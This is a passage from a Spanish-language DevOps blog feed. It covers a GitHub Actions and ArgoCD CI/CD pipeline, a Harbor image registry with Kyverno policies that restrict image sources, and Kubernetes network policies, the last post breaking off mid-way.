      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Log</span> <span class="hljs-string">in</span> <span class="hljs-string">to</span> <span class="hljs-string">Docker</span> <span class="hljs-string">Hub</span>
        <span class="hljs-attr">uses:</span> <span class="hljs-string">docker/login-action@v3</span>
        <span class="hljs-attr">with:</span>
          <span class="hljs-attr">username:</span> <span class="hljs-string">${{</span> <span class="hljs-string">secrets.DOCKERHUB_USERNAME</span> <span class="hljs-string">}}</span>
          <span class="hljs-attr">password:</span> <span class="hljs-string">${{</span> <span class="hljs-string">secrets.DOCKERHUB_TOKEN</span> <span class="hljs-string">}}</span>
        <span class="hljs-comment"># Agregamos el TAG para subir no solo latest, si no tambien la version.</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Extract</span> <span class="hljs-string">version</span> <span class="hljs-string">number</span> <span class="hljs-string">from</span> <span class="hljs-string">GIT</span> <span class="hljs-string">SHA</span>
        <span class="hljs-attr">id:</span> <span class="hljs-string">extract_sha</span>
        <span class="hljs-attr">run:</span> <span class="hljs-string">echo</span> <span class="hljs-string">"BUILD_TAG=${GITHUB_SHA::7}"</span> <span class="hljs-string">&gt;&gt;</span> <span class="hljs-string">$GITHUB_ENV</span>

      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Build</span> <span class="hljs-string">and</span> <span class="hljs-string">push</span> <span class="hljs-string">Docker</span> <span class="hljs-string">image</span>
        <span class="hljs-attr">uses:</span> <span class="hljs-string">docker/build-push-action@v5</span>
        <span class="hljs-attr">with:</span>
          <span class="hljs-attr">context:</span> <span class="hljs-string">app/</span>
          <span class="hljs-attr">push:</span> <span class="hljs-literal">true</span>
          <span class="hljs-attr">tags:</span> <span class="hljs-string">safernandez666/app:latest,</span> <span class="hljs-string">safernandez666/app:${{</span> <span class="hljs-string">env.BUILD_TAG</span> <span class="hljs-string">}}</span>

      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Update</span> <span class="hljs-string">tag</span> <span class="hljs-string">in</span> <span class="hljs-string">Helm</span> <span class="hljs-string">Chart</span> <span class="hljs-comment"># Cambiamos por el numero de version el values.yaml</span>
        <span class="hljs-attr">run:</span> <span class="hljs-string">|
          sed -i 's/tag: .*/tag: "${{ env.BUILD_TAG }}"/' app-chart/values.yaml
</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Commit</span> <span class="hljs-string">and</span> <span class="hljs-string">push</span> <span class="hljs-string">changes</span>
        <span class="hljs-attr">run:</span> <span class="hljs-string">|
          git config --global user.email "santiagoagustinfernandez@gmail.com"
          git config --global user.name "Santiago Fernandez"
          git add app-chart/values.yaml
          git commit -m "Update tag to '${{ env.BUILD_TAG }}' after building image"
          git push
</span>        <span class="hljs-attr">env:</span>
          <span class="hljs-attr">GITHUB_TOKEN:</span> <span class="hljs-string">${{</span> <span class="hljs-string">secrets.GITHUB_TOKEN</span> <span class="hljs-string">}}</span>  <span class="hljs-comment"># Usando el token para autenticar el push</span>
</code></pre>
<p>Perfecto, vamos a realizar un cambio para ver como interactua. Modificamos el archivo <code>values.yaml</code> para actualizar la etiqueta con el número de versión después de construir la imagen. Ahora ponemos latest solo para ver el cambio 😎.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723649194084/3bfb23b4-8baa-4657-a76e-da20ff6a7f6d.png" alt class="image--center mx-auto" /></p>
<p>¡Hacemos el commit!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723649260464/ed80b629-21f4-4c17-ab03-edf29b29c06c.png" alt class="image--center mx-auto" /></p>
<p>¡Excelente!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723649349098/84ede56f-10c4-442a-809c-5e6cf5f3fd44.png" alt class="image--center mx-auto" /></p>
<p>Se está realizando el Build y Subiendo a <strong>DockerHub</strong>. ¡Miremos le Job a detalle! Se modifico el archivo <code>app-chart/values.yaml</code> con el <code>tag:4044587</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723649515619/9b75fd6a-9ba9-4899-9b13-d078bca8966a.png" alt class="image--center mx-auto" /></p>
<p>Revisemos el archivo del Helm Chart y el registro.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723649693419/07a538f7-3621-46b9-afd1-b8ff0e28660b.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723649733142/34c25dcf-aeda-402c-8a03-1faa2d9c168e.png" alt class="image--center mx-auto" /></p>
<p>Todo está funcionando como queremos. Ahora solo nos queda instalar <strong>ArgoCD</strong> para desplegar la versión que deseamos.</p>
<h2 id="heading-cd-con-argocd">CD con ArgoCD</h2>
<p>¿Que es ArgoCD? No es ni más ni menos que una herramienta de despliegue continuo que nos permite automatizar el despliegue y la gestión de sus aplicaciones utilizando Git como una única fuente de verdad</p>
<h3 id="heading-instalacion-de-argocd">Instalación de ArgoCD</h3>
<p>Creamos el Namespace y descargamos los manifiestos.</p>
<pre><code class="lang-yaml"><span class="hljs-string">kubectl</span> <span class="hljs-string">create</span> <span class="hljs-string">namespace</span> <span class="hljs-string">argocd</span>
<span class="hljs-string">kubectl</span> <span class="hljs-string">apply</span> <span class="hljs-string">-n</span> <span class="hljs-string">argocd</span> <span class="hljs-string">-f</span> <span class="hljs-string">https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/install.yaml</span>
</code></pre>
<p>Ahora nos queda, para facilitar el ingreso, cambiar el servicio por LoadBalancer.</p>
<pre><code class="lang-yaml"><span class="hljs-string">kubectl</span> <span class="hljs-string">patch</span> <span class="hljs-string">svc</span> <span class="hljs-string">argocd-server</span> <span class="hljs-string">-n</span> <span class="hljs-string">argocd</span> <span class="hljs-string">-p</span> <span class="hljs-string">'{"spec": {"type": "LoadBalancer"}}'</span>
<span class="hljs-string">kubectl</span> <span class="hljs-string">get</span> <span class="hljs-string">svc</span> <span class="hljs-string">argocd-server</span> <span class="hljs-string">-n</span> <span class="hljs-string">argocd</span>
</code></pre>
<p>Obtenemos la dirección IP y por último necesitar el password para el usuario <em>admin</em>, con este comando podemos conocerlo.</p>
<pre><code class="lang-yaml">
<span class="hljs-string">kubectl</span> <span class="hljs-string">get</span> <span class="hljs-string">svc</span> <span class="hljs-string">argocd-server</span> <span class="hljs-string">-n</span> <span class="hljs-string">argocd</span>
<span class="hljs-string">kubectl</span> <span class="hljs-string">-n</span> <span class="hljs-string">argocd</span> <span class="hljs-string">get</span> <span class="hljs-string">secret</span> <span class="hljs-string">argocd-initial-admin-secret</span> <span class="hljs-string">-o</span> <span class="hljs-string">jsonpath="{.data.password}"</span> <span class="hljs-string">|</span> <span class="hljs-string">base64</span> <span class="hljs-string">-d</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723659631437/e1084049-6725-4709-b226-89dba7f77629.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-configuracion-de-argocd">Configuración de ArgoCD</h2>
<p>Conectamos nuestro repositorio de <strong>GitHub</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723659835945/fb3cd0dc-ce28-46fa-bf45-ff7f443b4ce3.png" alt class="image--center mx-auto" /></p>
<p>Creamos un proyecto donde configuramos la fuente y con qué Cluster vamos a trabajar.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723659738204/18f1c2d3-d37b-44e5-8857-769d484fcab7.png" alt class="image--center mx-auto" /></p>
<p>Ahora el paso final, crear la aplicación con algunas configuraciones básicas.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723659976399/ba31b98b-3706-4059-ab17-d3e64b963c25.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723660292518/234abd00-767b-4615-b853-d2ebf814304b.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723660485571/609c6442-8ce8-44d1-97e8-266d93ad4887.png" alt class="image--center mx-auto" /></p>
<p>¡Uala! Ya tenemos el aplicativo sincronizado.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723660551733/59d1878d-f67f-467d-b9af-306445279405.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723660570072/cc38daab-27a1-4db4-b124-fd7d4a5e288f.png" alt class="image--center mx-auto" /></p>
<p>Cada vez que <strong>ArgoCD</strong> detecte un cambio en el repositorio hará el despliegue del Helm Chart, con la última versión de build que generamos.</p>
<p>Te dejo un video, para que lo veas en acción.</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://youtu.be/D4A3TzFBQPg">https://youtu.be/D4A3TzFBQPg</a></div>
<p> </p>
<p>Espero que te sirva para comenzar en el mundo DevOps.</p>
<p>Saludos.</p>
]]></content:encoded></item><item><title><![CDATA[Harbour como Registro de Imágenes y Kyverno para forzar políticas]]></title><description><![CDATA[Hace unos meses nos preguntamos: ¿Sabemos qué imágenes usamos en nuestros entornos? ¿Son las que fueron aprobadas por Seguridad? ¿Podría un atacante desplegar imágenes adulteradas? Hicimos esta entrada en el blog donde creamos políticas en nuestro cl...]]></description><link>https://blog.santiagoagustinfernandez.com/harbour-como-registro-de-imagenes-y-kyverno-para-forzar-politicas</link><guid isPermaLink="true">https://blog.santiagoagustinfernandez.com/harbour-como-registro-de-imagenes-y-kyverno-para-forzar-politicas</guid><category><![CDATA[kyverno]]></category><category><![CDATA[harbor]]></category><dc:creator><![CDATA[Santiago Fernandez]]></dc:creator><pubDate>Wed, 24 Jul 2024 15:38:49 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1721835484108/31facd9a-8e77-4787-99f8-1593fbe84830.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Hace unos meses nos preguntamos: ¿Sabemos qué imágenes usamos en nuestros entornos? ¿Son las que fueron aprobadas por Seguridad? ¿Podría un atacante desplegar imágenes adulteradas? Hicimos esta <a target="_blank" href="https://blog.santiagoagustinfernandez.com/firma-verificacion-de-images-con-kyverno-cosign">entrada</a> en el blog donde creamos políticas en nuestro clúster Kubernetes con <strong>Kyverno</strong> para permitir solo el despliegue de imágenes firmadas y aprobadas por Seguridad. No es nada nuevo decir que la seguridad es como una capa de cebolla, así que me pregunté: ¿Y si alojamos el Registro de Imágenes? ¡Manos a la obra!</p>
<p>Para ello, vamos a usar Harbour, un registro open source que ofrece una variedad de características, como escaneo, firma, autenticación, auditoría, etc. Además, acercamos estas imágenes a nuestro entorno en tiempo de ejecución.</p>
<h2 id="heading-instalacion-de-harbor">Instalación de Harbor</h2>
<p>Primero deberíamos tener nginx ingress para poder consumir la instalación de Harbour. Vamos a pegar una mirada a nuestro cluster.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1721506644269/92b8a9fd-f8cd-4070-94e3-b4ab081e9c66.png" alt class="image--center mx-auto" /></p>
<p>Vamos agregar los helm's necesarios y editar alguna linea, para configurar la interfaz a consumir.</p>
<pre><code class="lang-yaml"><span class="hljs-string">helm</span> <span class="hljs-string">repo</span> <span class="hljs-string">add</span> <span class="hljs-string">harbor</span> <span class="hljs-string">https://helm.goharbor.io</span>
</code></pre>
<p>Vamos a descargar el helm para editar esos archivos.</p>
<pre><code class="lang-yaml"><span class="hljs-string">helm</span> <span class="hljs-string">fetch</span> <span class="hljs-string">harbor/harbor</span> <span class="hljs-string">--untar</span>
</code></pre>
<p>Deberíamos poder abrir un editor y ver estos archivos.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1721506964489/c32de66e-38e2-4fd8-af61-798fd9ffe7d1.png" alt class="image--center mx-auto" /></p>
<p>Edito el FQDN que voy a utilizar, de manera local.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1721659550665/fa74d0f8-c99d-4456-8144-c17a6d92f0ae.png" alt class="image--center mx-auto" /></p>
<p>y</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1721691497915/930526c7-5606-4ffb-9463-c20b4f317dfe.png" alt class="image--center mx-auto" /></p>
<p>Ahora si instalamos.</p>
<pre><code class="lang-yaml"><span class="hljs-string">helm</span> <span class="hljs-string">install</span> <span class="hljs-string">harbor</span> <span class="hljs-string">./harbor</span> <span class="hljs-string">-n</span> <span class="hljs-string">harbor</span> <span class="hljs-string">--create-namespace</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1721507426558/b699504d-04de-4cd7-b855-769e427c4d1e.png" alt class="image--center mx-auto" /></p>
<p>Vamos a ver el ingress y apunto la resolucion local al Cluster de Kubernetes.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1721659534535/030f9020-19eb-471c-a760-fc95a78a3293.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1721659644075/7477e5a1-1e8c-442b-bb34-fe1bd571e3aa.png" alt class="image--center mx-auto" /></p>
<p>Vamos a probar el ingreso, con las credenciales por defecto.</p>
<pre><code class="lang-yaml"><span class="hljs-attr">Username:</span> <span class="hljs-string">admin</span>
<span class="hljs-attr">Password:</span> <span class="hljs-string">Harbor12345</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1721659707751/39bf9826-780d-4884-849e-ad3af59860a5.png" alt class="image--center mx-auto" /></p>
<p>¡Perfecto! Ya tenemos nuestro servidor de registro listo.</p>
<h3 id="heading-creacion-de-proyecto">Creación de Proyecto</h3>
<p>Vamos a crear un proyecto, llamado blog.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1721659909923/5163bd8c-2e1a-4a30-b1a5-920ea33fd0bd.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-push-imagen-local">Push Imagen Local</h3>
<p>Ahora que tenemos nuestro registro de imágenes, vamos a subir una imagen a Harbor. Para ello, necesitamos autenticarnos.</p>
<p>En nuestro caso, como tenemos un certificado no válido, vamos a configurar el Engine de Docker para aceptar un registro no estándar. Esto no es seguro, pero para nuestra prueba de concepto, es suficiente.</p>
<p>Agregamos la sentencia</p>
<pre><code class="lang-yaml">  <span class="hljs-attr">"insecure-registries":</span> [
    <span class="hljs-string">"harbor.esprueba.com"</span>
  ]
</code></pre>
<p>Y reiniciamos Docker.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1721691638241/d870a8ed-dbbb-443a-975a-71ce7a5c5625.png" alt class="image--center mx-auto" /></p>
<p>Ahora si podemos autenticarnos.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1721691526396/51005a55-bf6e-40c1-9560-25f00d84ae38.png" alt class="image--center mx-auto" /></p>
<p>Vamos a descargar la imagen de Nginx, luego la "etiquetamos" y la subimos a Harbor.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1721692454737/73d50c7d-52a3-438e-a021-5b00bc4a5106.png" alt class="image--center mx-auto" /></p>
<p>Listo, ya está en el servidor de imagenes.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1721747054448/eda667a2-8406-484a-87e8-0ec58d1d3fcf.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-policy-as-a-code">Policy as a Code</h2>
<p>Podemos verla en la entrada que les comente al principio, si no estaremos el paso a paso aca. Una vez instalado vamos a crear una política que solo acepte imágenes de nuestra instancia de Harbor en un Namespace específico.</p>
<h3 id="heading-instalacion-kyverno">Instalación Kyverno</h3>
<p>Vamos a agregar el repositorio de helm para luego instalarlo.</p>
<pre><code class="lang-yaml"><span class="hljs-string">helm</span> <span class="hljs-string">repo</span> <span class="hljs-string">add</span> <span class="hljs-string">kyverno-repo</span> <span class="hljs-string">https://kyverno.github.io/kyverno/</span>
<span class="hljs-string">helm</span> <span class="hljs-string">install</span> <span class="hljs-string">kyverno</span> <span class="hljs-string">kyverno-repo/kyverno</span> <span class="hljs-string">-n</span> <span class="hljs-string">kyverno-ns</span> <span class="hljs-string">--create-namespace</span>
</code></pre>
<p>¡Listo! Ya tenemos Kyverno en el clúster con todos sus componentes.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1721747589983/7a2b39a0-4b04-4de3-af4f-d2aa4a65ffe3.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-creacion-politica">Creación Política</h3>
<p>Vamos a crear la política que comentamos anteriormente, para que solo acepte imagenes de Harbor y se pueda deployar en el namespace nginx-app.</p>
<pre><code class="lang-yaml"><span class="hljs-attr">apiVersion :</span> <span class="hljs-string">kyverno.io/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">ClusterPolicy</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">check-images</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">validationFailureAction:</span> <span class="hljs-string">Enforce</span>
  <span class="hljs-attr">background:</span> <span class="hljs-literal">false</span>
  <span class="hljs-attr">rules:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">check-registry</span>
    <span class="hljs-attr">match:</span>
      <span class="hljs-attr">any:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">resources:</span>
          <span class="hljs-attr">kinds:</span>
          <span class="hljs-bullet">-</span> <span class="hljs-string">Pod</span>
          <span class="hljs-attr">namespaces:</span>
          <span class="hljs-bullet">-</span> <span class="hljs-string">nginx-app</span>

    <span class="hljs-attr">preconditions:</span>
      <span class="hljs-attr">any:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">key:</span> <span class="hljs-string">"<span class="hljs-template-variable">{{request.operation}}</span>"</span>
        <span class="hljs-attr">operator:</span> <span class="hljs-string">NotEquals</span>
        <span class="hljs-attr">value:</span> <span class="hljs-string">DELETE</span>
    <span class="hljs-attr">validate:</span>
      <span class="hljs-attr">message:</span> <span class="hljs-string">"unknown registry"</span>
      <span class="hljs-attr">foreach:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">list:</span> <span class="hljs-string">"request.object.spec.initContainers"</span>
        <span class="hljs-attr">pattern:</span>
          <span class="hljs-attr">image:</span> <span class="hljs-string">"harbor.esprueba.com/*"</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">list:</span> <span class="hljs-string">"request.object.spec.containers"</span>
        <span class="hljs-attr">pattern:</span>
          <span class="hljs-attr">image:</span> <span class="hljs-string">"harbor.esprueba.com/*"</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1721747915554/268b3f02-0fb3-4e03-b0c0-67ce412a16a7.png" alt class="image--center mx-auto" /></p>
<p>Vamos a crear un deployment para la prueba de concepto, usando una imagen de DockerHub. Si todo ha salido bien, no debería poder hacer el deployment.</p>
<pre><code class="lang-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">apps/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Deployment</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">nginx</span>
  <span class="hljs-attr">namespace:</span> <span class="hljs-string">nginx-app</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">selector:</span>
    <span class="hljs-attr">matchLabels:</span>
      <span class="hljs-attr">app:</span> <span class="hljs-string">nginx</span>
  <span class="hljs-attr">replicas:</span> <span class="hljs-number">1</span>
  <span class="hljs-attr">template:</span>
    <span class="hljs-attr">metadata:</span>
      <span class="hljs-attr">labels:</span>
        <span class="hljs-attr">app:</span> <span class="hljs-string">nginx</span>
    <span class="hljs-attr">spec:</span>
      <span class="hljs-attr">containers:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">nginx</span>
        <span class="hljs-attr">image:</span> <span class="hljs-string">nginx:alpine</span>
        <span class="hljs-attr">ports:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">containerPort:</span> <span class="hljs-number">80</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1721748127761/12845986-cde4-459e-9e97-6f05f19abe06.png" alt class="image--center mx-auto" /></p>
<p>Excelente! No se está pudiendo crear el contenedor porque Kyverno lo esta parando.</p>
<p>Ahora si, vamos a ver si el registro es Harbor que pasa.</p>
<pre><code class="lang-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">apps/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Deployment</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">nginx</span>
  <span class="hljs-attr">namespace:</span> <span class="hljs-string">nginx-app</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">selector:</span>
    <span class="hljs-attr">matchLabels:</span>
      <span class="hljs-attr">app:</span> <span class="hljs-string">nginx</span>
  <span class="hljs-attr">replicas:</span> <span class="hljs-number">1</span>
  <span class="hljs-attr">template:</span>
    <span class="hljs-attr">metadata:</span>
      <span class="hljs-attr">labels:</span>
        <span class="hljs-attr">app:</span> <span class="hljs-string">nginx</span>
    <span class="hljs-attr">spec:</span>
      <span class="hljs-attr">containers:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">nginx</span>
        <span class="hljs-attr">image:</span> <span class="hljs-string">harbor.esprueba.com/blog/nginx:alpine</span>
        <span class="hljs-attr">ports:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">containerPort:</span> <span class="hljs-number">80</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1721749281417/b174caf6-9e1b-4e13-a08b-878c4339d9a2.png" alt class="image--center mx-auto" /></p>
<p>Listo se estan creando los contenedores. La política de Kyveno que creamos permite que las imagenes de harbor.esprueba.com/blog/nginx:alpine se desplieguen en el namespace nginx-app.</p>
<p>Espero que les sirva, nos vemos en la próxima entrada.</p>
]]></content:encoded></item><item><title><![CDATA[Networking Security para Kubernetes]]></title><description><![CDATA[Introducción
No descubrimos nada al decir que las políticas de networking son esenciales para asegurar y manejar el tráfico dentro de nuestro cluster. Nos habilitan a controlar la comunicación entre pods, mejorar la seguridad, proveer un control gran...]]></description><link>https://blog.santiagoagustinfernandez.com/networking-security-para-kubernetes</link><guid isPermaLink="true">https://blog.santiagoagustinfernandez.com/networking-security-para-kubernetes</guid><category><![CDATA[networking]]></category><category><![CDATA[Kubernetes]]></category><dc:creator><![CDATA[Santiago Fernandez]]></dc:creator><pubDate>Wed, 17 Jul 2024 16:30:08 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1721139806962/a1b5e12f-4027-47d9-9c14-682d938914cf.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-introduccion">Introducción</h2>
<p>No descubrimos nada al decir que las políticas de networking son esenciales para asegurar y manejar el tráfico dentro de nuestro cluster. Nos habilitan a controlar la comunicación entre pods, mejorar la seguridad, proveer un control granular del tráfico en estos ambientes escalables como nuestros clusters de Kubernetes. La manera de mantener una infraestructura segura y eficiente.</p>
<h2 id="heading-ambiente">Ambiente</h2>
<p>En esta entrada vamos a descubrir algunas políticas a implementar, para ello sera necesario crear un ambiente. Elegí este proyecto que tiene 2 tiers, un Backend con MySQL y un Frontend con Flask. Dejó el <a target="_blank" href="https://medium.com/@hussainwalihussain/deployment-of-two-tier-application-through-kubernetes-7dd91147a0b7">proyecto</a>, para que puedan crear el ambiente.</p>
<p>Vamos a ver que tenemos en el cluster.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1721149298827/39ac453d-6957-4b04-b1e9-78c78088f0bc.png" alt class="image--center mx-auto" /></p>
<p>Debería verse algo así.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1721149415271/674d6114-db93-4d62-ab6e-8e23f3bc8b07.png" alt class="image--center mx-auto" /></p>
<p>Vamos a generar las políticas necesarias para asegurar este aplicativo. La idea es que solo el Frontend atienda las consultas.</p>
<h2 id="heading-politicas">Políticas</h2>
<h2 id="heading-1default-deny-all-ingress-and-egress">1.<strong>Default Deny All Ingress and Egress</strong></h2>
<p>Esta política es una medida de seguridad básica, donde vamos a impedir todo el tráfico de entrada y salida a los pods, actua como un firewall que bloquea todo el tráfico salvo que especifiquemos lo contrario. Es una buena practica bloquear todo el trafico e ir gradualmente añadiendo reglas que permitan las comunicaciones necesarias.  </p>
<p>Para implementar una política de negación, por defecto, debemos crear un objeto <strong>NetworkPolicy</strong>. En este caso aplicará sobre el namespace <strong>default</strong> y denegaremos el ingreso y egreso.</p>
<pre><code class="lang-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">networking.k8s.io/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">NetworkPolicy</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">default-deny-all</span>
  <span class="hljs-attr">namespace:</span> <span class="hljs-string">default</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">podSelector:</span> {}
  <span class="hljs-attr">policyTypes:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-string">Ingress</span>
  <span class="hljs-bullet">-</span> <span class="hljs-string">Egress</span>
</code></pre>
<p>Perfecto, ya no podemos ingresar a nuestra aplicación.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1721225361880/531fa441-e141-4a8f-a668-68e53d2c46f0.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-2allow-frontend-to-0000">2.<strong>Allow Frontend to 0.0.0.0</strong></h2>
<p>Vamos agregar una política para que solo pueda consumirse el frontend.</p>
<pre><code class="lang-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">networking.k8s.io/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">NetworkPolicy</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">allow-two-tier-app</span>
  <span class="hljs-attr">namespace:</span> <span class="hljs-string">default</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">podSelector:</span>
    <span class="hljs-attr">matchLabels:</span>
      <span class="hljs-attr">app:</span> <span class="hljs-string">two-tier-app</span>
  <span class="hljs-attr">policyTypes:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-string">Ingress</span>
  <span class="hljs-bullet">-</span> <span class="hljs-string">Egress</span>
  <span class="hljs-attr">ingress:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">from:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">ipBlock:</span>
        <span class="hljs-attr">cidr:</span> <span class="hljs-number">0.0</span><span class="hljs-number">.0</span><span class="hljs-number">.0</span><span class="hljs-string">/0</span>
  <span class="hljs-attr">egress:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">to:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">ipBlock:</span>
        <span class="hljs-attr">cidr:</span> <span class="hljs-number">0.0</span><span class="hljs-number">.0</span><span class="hljs-number">.0</span><span class="hljs-string">/0</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1721225607492/7c9be2e0-e9dd-47b5-8e8d-9b2305dcfd23.png" alt class="image--center mx-auto" /></p>
<p>¿Que está pasado? Ahora si podemos ingresar al frontend, pero el frontend no logra conectarse con el backend. Afinamos una nueva política, para que tengamos conexión a la Base de Datos. Vamos a crear dos políticas, una para que two-tier-app se comunique con mysql en el puerto 3306 y otra para que mysql pueda devolver el resultado a two-tier-app.</p>
<p>Primero veamos los labels, para trabajar mejor.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1721230401506/fed37505-62c3-4ee2-b1c8-caf34a57f12c.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-3allow-frontend-to-backend">3.<strong>Allow Frontend to Backend</strong></h2>
<p>Ahora si creamos las políticas. La primera permitimos la comunicación de two-tier-app a mysql en el puerto 3306.</p>
<pre><code class="lang-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">networking.k8s.io/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">NetworkPolicy</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">allow-two-tier-app-to-mysql</span>
  <span class="hljs-attr">namespace:</span> <span class="hljs-string">default</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">podSelector:</span>
    <span class="hljs-attr">matchLabels:</span>
      <span class="hljs-attr">app:</span> <span class="hljs-string">mysql</span>
  <span class="hljs-attr">policyTypes:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-string">Ingress</span>
  <span class="hljs-attr">ingress:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">from:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">podSelector:</span>
        <span class="hljs-attr">matchLabels:</span>
          <span class="hljs-attr">app:</span> <span class="hljs-string">two-tier-app</span>
    <span class="hljs-attr">ports:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">protocol:</span> <span class="hljs-string">TCP</span>
      <span class="hljs-attr">port:</span> <span class="hljs-number">3306</span>
</code></pre>
<p>La segunda, permitimos que mysql retorne el resultado.</p>
<pre><code class="lang-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">networking.k8s.io/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">NetworkPolicy</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">allow-mysql-to-two-tier-app</span>
